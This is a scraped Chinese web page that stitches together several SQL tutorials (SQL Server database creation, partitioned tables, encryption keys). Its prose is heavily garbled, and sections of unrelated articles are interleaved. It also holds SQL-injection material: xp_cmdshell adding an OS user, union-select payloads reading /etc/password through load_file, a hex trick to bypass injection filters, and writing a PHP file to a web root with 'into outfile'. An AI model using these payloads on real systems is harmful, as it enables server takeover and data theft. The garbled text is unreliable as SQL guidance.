您的位置:新葡亰496net > 网络数据库 > 新葡亰496netSQL语句计算,创立分区表教程

新葡亰496netSQL语句计算,创立分区表教程

发布时间:2019-06-16 03:54编辑:网络数据库浏览(154)

    一、数据库定义

    数据库(Database)是遵纪守法数据结构来公司、存储和管制数据的库房。数据库的操作分为二种样式:一种是一贯在数据库管理工科具图形化分界面进行操作;一种是使用数据库脚本进行操作,数据库脚本能够直接在数据库管理工科具中操作,也得以在dos命令窗口中操作。

    数量表定义

    数据表(或称表)是数据库最珍视的组成都部队分之一,数据库中以表为团体单位存款和储蓄数据,数据库只是一个框架,数据表才是其实质内容。数据库管理工科具中能够呈现数据库中的全数数据表,数据表是数据库中三个老大重大的指标,是其它对象的底子。

     第一步、创设文件和文件组

    一:对称加密 

         原始明文---密钥---加密数据---密钥---原始明文

         速度快,通过算法将公开混淆,占用系统能源少

    SQLServer

    二、数据库创立

    方法一:数据库图形化管理工具成立数据库步骤:右键点击数据库-》点击新建数据库-》输入数据库名称,可自定义数据库全数者(设置哪些人得以行使数据库)、逻辑名称、发轫大小(数据库伊始化大小)、自增加大小(数据库新添多少的时候以每一回多大存款和储蓄量增进)、路线(数据库数据文件路线,关系到事后的数据库备份,迁移,还原等操作)、文件名(数据库的文件名称)、日志等品质,左上角的取舍和符合规律能够选取系统暗中认可的-》点击明确就能够创制数据库

    新葡亰496net 1

    新葡亰496net 2

    主意二:数据库脚本创设数据库步骤:编写脚本-》在数据库管理工科具中实施脚本-》刷新数据库就能够展现;

     

     1 --创建数据库
     2 create database testss
     3 on 
     4 (
     5     name='testss',
     6     filename='D:SqlTestblogtestss.mdf',
     7     size=10240kb,
     8     maxsize=102400kb,
     9     filegrowth=1024kb
    10 )
    11 log on
    12 (
    13     name='testlog',
    14     filename='D:SqlTestblogtestlog.ldf',
    15     size=10240kb,
    16     maxsize=102400kb,
    17     filegrowth=1024kb
    18 )
    19 go
    

     

     

    开创结果示举个例子下:

    新葡亰496net 3

    成立数据表

    方法一:张开数据库管理工科具-》登陆-》选用数据库-》选取表-》右键点击,选取新建表-》在左手视图中输入列名、数据类型、是不是可空、在列属性中安装必要的属性-》点击保存(或ctrl s)-》保存成功,刷新就能够展现

    新葡亰496net 4

    新葡亰496net 5

    主意二:使用T-SQL脚本新建表

     1 --数据库声明
     2 use testss
     3 --建表语法声明
     4 create table test1
     5 (
     6 --字段声明
     7 id int identity(1,1) not null,
     8 name nvarchar(50) null,
     9 sex nvarchar(50) null,
    10 age nvarchar(50) null,
    11 classid int,
    12 primary key clustered(id asc) with(ignore_dup_key=off) on [primary]    --主键索引声明
    13 )on [primary]
    14 
    15 --字段注释声明
    16 exec sys.sp_addextendedproperty @name=N'MS_Description', @value=N'id主键' , @level0type=N'SCHEMA',
    17 @level0name=N'dbo', @level1type=N'TABLE',@level1name=N'test1', @level2type=N'COLUMN',@level2name=N'id';
    18 
    19 exec sys.sp_addextendedproperty @name=N'MS_Description', @value=N'姓名' , @level0type=N'SCHEMA',
    20 @level0name=N'dbo', @level1type=N'TABLE',@level1name=N'test1', @level2type=N'COLUMN',@level2name=N'name';
    21 
    22 exec sys.sp_addextendedproperty @name=N'MS_Description', @value=N'性别' , @level0type=N'SCHEMA',
    23 @level0name=N'dbo', @level1type=N'TABLE',@level1name=N'test1', @level2type=N'COLUMN',@level2name=N'sex';
    24 
    25 exec sys.sp_addextendedproperty @name=N'MS_Description', @value=N'年龄' , @level0type=N'SCHEMA',
    26 @level0name=N'dbo', @level1type=N'TABLE',@level1name=N'test1', @level2type=N'COLUMN',@level2name=N'age';
    27 
    28 exec sys.sp_addextendedproperty @name=N'MS_Description', @value=N'班级id' , @level0type=N'SCHEMA',
    29 @level0name=N'dbo', @level1type=N'TABLE',@level1name=N'test1', @level2type=N'COLUMN',@level2name=N'classid';
    30 
    31 go
    

     示例结果如下:新葡亰496net 6

    -- 希图干活,模拟数据。

     

    insert into

    test

    values

    ('test','2014-01-01') , 

    ('test','2014-02-01') , 

    ('test','2014-03-01') , 

    ('test','2014-04-01') , 

    ('test','2014-05-01') , 

    ('test','2014-06-01') , 

    ('test','2014-07-01') , 

    ('test','2014-08-01') , 

    ('test','2014-09-01') , 

    ('test','2014-10-01') 

     

    select *  from User_DB.dbo.test  

     

     

    二:非对称加密

         加密解密速度慢,较高的系统能源占用

     

    1. SQLSever提供了足够多的类别函数,利用该系统函数能够访问SQLServer系统中的新闻,而无须使用SQL语句询问。
    2. suser_name():重返用户的登入名;
    3. user_name():基于钦点的标暗号重回数据库用户名;
    4. db_name(): 重临数据库名称;
    5. is_number('db_owner'): 是还是不是为数据库剧中人物;
    6. convert(int,'5'): 数据类型调换;
    7. sys.databases     SQL Server中的全部数据库
    8. sys.sql_logins     SQL Server中的全数登陆名
    9. information_schema.tables     当前数据库中的表
    10. information_schema.columns  当前数据库中的列
    11. sys.all_columns    用户定义对象和类别的保有列的一块儿
    12. sys.database_principals    数据库中每一个权限或列卓殊权限
    13. sys.database_files       存款和储蓄在数据库中的数据库文件
    14. sysobjects                 数据库中创制的各样对象
    15. 攻击者最常用的囤积进程是xp_cmdshell,那么些蕴藏进程允许用户实施操作系统的指令;如若 xp_cmdshell 'net user test test /add',攻击者就足以动用xp_cmdshell操纵服务器。
    16.  and 1=(select IS_SHavalVROLEMEMBE中华V(’sysadmin’)) 判别是或不是是系统权限;
    17. 查看数据库版本 @@version;
    18. 获得元数据:INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图获得数据库表以及表的字段。
    19. select TABLE_NAME from INFORMATION_SCHEMA.TABLES   取妥当前数量库表;
    20. select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' 取得Student表字段;

    三、数据库删除

    形式一:直接在数据库管理工科具中右键-》选取删除

    新葡亰496net 7

     

    艺术二:在数据库管理工具中数据脚本:drop database 数据库名

    删去数据表

    办法一:张开数据库管理工科具-》登入-》选用数据库-》选择表-》右键点击,采取删除-》点击弹出框中的分明删除-》刷新数据库

    新葡亰496net 8新葡亰496net 9

    艺术二:使用T-SQL脚本删除:drop table test2;

    新葡亰496net 10

    ## -- 1、增加文件组

     

    alter database User_DB add filegroup know1 

    alter database User_DB add filegroup know2

    alter database User_DB add filegroup know3  

     

    三:混合数据加密

         加密进程:随机变化对称密钥,使用公钥加密对称密钥。

         解密进度:用私钥解开被加密的对称密钥,使用对称密钥解密数据

     

    MYSQL

    四、数据库修改

    方法一:选中数据库-》右键-》选取重命名-》输入数据库新名称

    新葡亰496net 11

    办法二:在数据库处理工具中输入脚本修改:exec sp_renamedb 'testss','test1'或者alter database test1 modify name=test2 

    新葡亰496net 12

    修改数据表

    艺术一:展开数据库管理工科具-》登陆-》选取数据库-》选取表-》右键点击,选拔重命名-》重新输入表名-》按enter键明确-》刷新可查看新表名

     新葡亰496net 13

    新葡亰496netSQL语句计算,创立分区表教程。主意二:使用T-SQL脚本修改表名:exec sp_rename 'test1','test2';

    新葡亰496net 14

    ## -- 2、创制数据库文件到文件组

     

    alter database User_DB add file    

    (name=N'know1',filename=N'G:DBfenquknow1.ndf',size=5Mb,filegrowth=5mb, maxsize=1gb)

    to filegroup know1

     

     

    alter database User_DB add file    

    (name=N'know2',filename=N'G:DBfenquknow2.ndf',size=5Mb,filegrowth=5mb, maxsize=1gb)

    to filegroup know2

     

     

    alter database User_DB add file    

    (name=N'know3',filename=N'G:DBfenquknow3.ndf',size=5Mb,filegrowth=5mb, maxsize=1gb)

    to filegroup know3  

     

    ## --3、右键到要分区的表>> 存款和储蓄--- >> 创制分区--- >>显示向导视图--- >> 下一步--- >> 下一步

     

    四:备份,还key原劳动主密钥 (sqlserver服务器主密钥)

       备份密钥

       Backup service master key to file =’c:xx.bak’;

       Encryption  by password = ‘password’;

       实例backup service master key to file = 'D:work path新葡亰496netSQL语句计算,创立分区表教程。dbFiledata.bak' 

        encryption by password = 'test'

       还原密钥

       Restore service master key from file =’c:xx.bak’

       Decryption by password=’password’;

    1.   version()版本号
    2. 元数据:Mysql 5.0及其以上版本提供了INFORMATION_SCHEMA。
    3. LIMIT i,j   LIMIT前边跟三个或八个整数参数,强制select语句重临钦命的记录行(记录行i 1到j i)
    4. 查询用户数据库名称:select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 检索第一行
    5. 查询当前数据库表:select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= (select DATABASE()) limit 0,1
    6. 查询钦定表的兼具字段:select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1
    7.  load_file()函数读取文件操作:union select 1,load_file(’/etc/password‘),3,4,5,6 #
    8. 有的防注入的语句不允许单引号的产出,那么使用:union select 1,load_file( '/etc/password'十六进制转换结果),3,4,5,6 #来绕过;
    9. 写文件操作:select '<?php phpinfo();?>' into outfile 'c:wwwroot1.php'
    10. 读写文件需求具备FIFE权限,并且文件必须为全路径名称。
    11. 假使须要三次询问四个数据,能够利用concat()或concat_ws()函数来完结。
    12. concat()函数:select name from student where id=1 union select concat(user(),',',database(),',',version());
    13. 地点也足以转移为十六进制:select name from student where id =1 union select concat(user(),0x2c,database(),0x2c,version());
    14. concat_ws()函数:select name from student where id =1 union select concat_ws(0x2c,user(),database(),version())
    15. user()用户名
    16. current_user()当前用户
    17. system_user()系统用户
    18. database()数据库名
    19. version()版本
    20. @@version_compile_os()操作系统
    21. group_concat() 重回带有来自贰个组的连天的非NULL值的字符串结果。

    五、查数据库查看

    办法一:在数据库管理工科具中当选数据库-》右键属性-》查看数据库相关安插消息

    新葡亰496net 15

    新葡亰496net 16

    主意二:在数据库管理工科具中输入数据库脚本查看,一下罗列三种常用的数据库查看音讯

    --使用目录视图查看数据库消息
    --使用sys.database_files查看有关数据库文件的音讯
    select * from sys.database_files;
    --使用sys.filegroups查看有关数据库组的音信
    select * from sys.filegroups;
    --使用sys.master_files 查看数据库文件的着力消息和景色音讯
    select * from sys.master_files;
    --使用sys.databases 数据库和文件目录视图查看有关数据库的中坚音讯
    select * from sys.databases where name='testss';

    新葡亰496net 17

     

    --使用函数查看数据状态
    use testss
    select databasepropertyex('test2','Status') as 'test数据库状态'

    新葡亰496net 18

    新葡亰496net,翻开数据表

    --查询数据库下全体的表
    --xtype='U'查询用户表
    select name from sysobjects where xtype='U'
    -- xtype='S'查询系统表
    select name from sysobjects where xtype='S'

    --查看test1表的装有消息
    exec sp_help test1;

    --查询test1表中全部的列
    select * from syscolumns where id=Object_Id('test1')

    --查看test1表中具有列数据
    select * from test1;

    # 第二步、实施生成的创设分区sql

     

    USE [User_DB]

    GO

    BEGIN TRANSACTION

    五:创设数据库主密钥(须求手动创设数据库主密钥)

        Create master key encryption by password = ‘password’

    create master key encryption by password = 'databaseTest'    

    备份数据库密钥

    backup master key to file = 'D:work pathdbFiledatabase.bak' encryption by password = 'databaseTest'

     

     

    六、数据库优缺点

    亮点:易用性、适合布满式协会的可伸缩性、用于决策补助的数据饭店作用、与广大其它服务器软件紧凑关联的集成性、突出的性能与价格之间比等。

    缺点:1开放性。只可以运营在微软的windows平台,未有丝毫的开放性可言。

          2可伸缩性,并行性。并行实施和现有模型并不成熟,很难管理日益增添的用户数和数据卷,伸缩性有限。
          3天性牢固。SQLServer当用户连接多时品质会变的很差,并且缺乏牢固。
          4使用风险。SQLServer完全重写的代码,经历了长久的测试,不断延迟,大多效率需时间来验证。并不要命金童玉女前期产品。使用需求冒一定危机。
          5客户端帮助及选取形式。只援助C/S方式。

    ## -- 1、创设分区函数

    CREATE PARTITION FUNCTION [knowPartitionFunc](datetime) 

    AS RANGE

    LEFT FOR VALUES (N'2014-01-01T00:00:00', N'2014-02-01T00:00:00', N'2014-03-01T00:00:00')

     

    六:目录视图中查看数据库密钥音信

    select * from sys.symmetric_keys

     

     

    select * from sys.databases  --is_master_key_encrypted_by_server 1 表示使用服务主密钥对数据库主密钥进行加密

    ## -- 2、创设分区消除方案

    CREATE PARTITION SCHEME [konwPartitionSolution]

     AS PARTITION [knowPartitionFunc] TO ([PRIMARY], [know1], [know2], [know3])

     

    七:创造证书

     Create certificate cert_mycert;--创设证书

     Encryption by password=’’--成立证书密码

     with subject 标题

     

     成立证书时效性,供给仓库储存进程等办法手动验证

     Start_data=’’    expiry_date=’’

     

    命令如下:

     

    Create certificate myfirst_cert Encryption by password='myfirst_cert' with subject = 'myfirst_cert', start_date = '1/1/2010', expiry_date = '1/1/2015'

     

    Create certificate test_cert Encryption by password='test_cert' with subject = 'test_cert', start_date = '1/1/2010', expiry_date = '1/1/2015'

    询问证件

    Select * from sys.certificates  

    ## -- 3、创建索引

    CREATE CLUSTERED INDEX [ClusteredIndex_on_konwPartitionSolution_635706905441367386] 

    ON [dbo].[test] 

    (

        [time]

    )WITH (SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF)

     ON [konwPartitionSolution]([time])

     

    八:与证书相关的函数

    Encyrptbycert(id,’cleartext’);

     

    Cert_id(‘'myfirst_cert’)

     

    ## -- 4、删除索引

    DROP INDEX

     [ClusteredIndex_on_konwPartitionSolution_635706905441367386]

      ON [dbo].[test] WITH ( ONLINE = OFF )

     

    COMMIT TRANSACTION  

     

    九:创造非对称密钥

    行使sn.exe工具也得以创设

     

    Create asymmetric key asy_key1 With algorithm = rsa_2048 Encryption by password='asy_key1'

     

    # 第三步、查看分区结果

    ## --查看分区表中,每种非空分区存在的行数

     

    select $partition.[knowPartitionFunc](time) as partitionNum,count(*) as recordCount

    from test

    group by  $partition.[knowPartitionFunc] (time)

     

     

     

    ## --查看分区数据

    select $partition.[knowPartitionFunc](time) as partitionGroupId,*

    from test 

     

     

    十:创设对称密钥

       Create symmetric key sy_key1 With algorithm = aes_256 Encryption by password='sy_key1'

     

    Create symmetric key sy_key1_test With algorithm = aes_256 Encryption by password='testPassword'

     

    十一:查询密钥

    1:打开密钥指令

    open symmetric key sy_key1 decryption by password ='sy_key1'

     

    查询密钥

    select * from sys.openkeys

     

    关闭密钥

     close symmetric key sy_key1_test

     

    十二:使用密钥加密数据例子 (加密列不要创制索引,无意义,并且考虑列长度会变长)

    declare @oldContent varbinary(200); --定义原始变量

    declare @newContent varbinary(200);--定义加密后的变量

    set @oldContent = convert( varbinary(200),'那是测试数据');--给本来变量赋值

    set @newContent = encryptbycert(cert_id('test_cert'),@oldContent)--通过证书加密数据 test_cert  证书名

    select @newContent --加密查询

    select convert(varchar(200),decryptbycert(cert_id('test_cert'),@newContent ,N'test_cert')) as [ts] --解密查询test_cert  证书名 N'test_cert'  证书密码

     

    十三:表示例

    create table usertest(id int primary key identity(20,1),username varbinary(20),usermoney int)

    insert into usertest (username,usermoney) values('aaa',encryptbycert(cert_id('test_cert'),'200'))

    insert into usertest (username,usermoney) values('bbb',encryptbycert(cert_id('test_cert'),'300') )

    insert into usertest (username,usermoney) values('ccc',encryptbycert(cert_id('test_cert'),'400') )

    insert into usertest (username,usermoney) values('ddd',encryptbycert(cert_id('test_cert'),'500') )

     

     

    毋庸置疑插入数据

    insert into usertest (username,usermoney) values('aaa',encryptbykey(key_guid('sy_key1_test'),'200'))

    insert into usertest (username,usermoney) values('bbb',encryptbykey(key_guid('sy_key1_test'),'300') )

    insert into usertest (username,usermoney) values('ccc',encryptbykey(key_guid('sy_key1_test'),'400') )

    insert into usertest (username,usermoney) values('ddd',encryptbykey(key_guid('sy_key1_test'),'500') )

    select id,username,cast(decryptbykey(usermoney) as varchar(20)) as 'test' from usertest

     

    由此验证器参与数据

    扩张少格局     Encryptbykey(key_guid(‘证书名字’),加密值,使用验证器,’验证器的值’)

    insert into usertest (username,usermoney) values('aaa',encryptbykey(key_guid('sy_key1_test'),'600',1,'20') )

    insert into usertest (username,usermoney) values('bbb',encryptbykey(key_guid('sy_key1_test'),'300',1,'21') )

    insert into usertest (username,usermoney) values('ccc',encryptbykey(key_guid('sy_key1_test'),'400',1,'22') )

    insert into usertest (username,usermoney) values('ddd',encryptbykey(key_guid('sy_key1_test'),'500',1,'23') )

    解密方法

    Cast(Decryptbykey(解密列1,1,cast(验证器值 as varcahar(100)))  as varchar(200))

    select id,username,cast(decryptbykey(usermoney,1,cast(id as varchar(3))) as varchar(20)) as 'test' from usertest

    # 第四步、为已存在的分区表增多新的边界值

    ## --1、创制文件组和相应的文书。

    alter database User_DB add filegroup know4

     

    alter database User_DB add file    

    (name=N'know4',filename=N'G:DBfenquknow4.ndf',size=5Mb,filegrowth=5mb, maxsize=1gb)

    to filegroup know4

     

    ## --2、给分区方案添Gavin件组

    alter partition scheme konwPartitionSolution

    NEXT USED know4

     

    ## --3、给分区函数增添一个边界值

    alter partition function knowPartitionFunc()

    split range(N'2014-04-01T00:00:00') 

    本文由新葡亰496net发布于网络数据库,转载请注明出处:新葡亰496netSQL语句计算,创立分区表教程

    关键词: